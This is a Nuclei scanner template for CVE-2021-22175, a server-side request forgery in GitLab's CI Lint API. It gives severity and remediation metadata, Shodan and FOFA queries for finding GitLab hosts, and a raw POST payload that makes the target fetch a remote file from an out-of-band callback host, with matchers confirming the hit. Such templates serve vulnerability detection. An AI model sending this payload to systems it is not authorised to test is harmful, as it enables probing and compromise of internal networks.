CVE-2021-22175: GitLab CI Lint API - Server-Side Request Forgery

id: CVE-2021-22175

info:
  name: GitLab CI Lint API - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.
  impact: |
    Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.
  remediation: |
    Update to the latest version of GitLab where the vulnerability is fixed.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/294178
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22175
    epss-score: 0.60386
    epss-percentile: 0.98202
    cwe-id: CWE-918
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: app="GitLab"
  tags: cve,cve2021,gitlab,ssrf,oast,vkev

http:
  - raw:
      - |
        POST /api/v4/ci/lint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"include_merged_yaml":true,"content":"include:\n  remote: 'http://{{interactsh-url}}/gitlab.yml'"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Included file", "\"errors\":")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100fb2523b6f9659c1f7b86c093bbd49e82c201b72981ede1c8f250ca18d18d205e022100dd0eb2a9742cb0100f3f8a0e982408cfa83a5d3e3792c1eb4260a16fb373105b:922c64590222798bb761d5b6d8e72950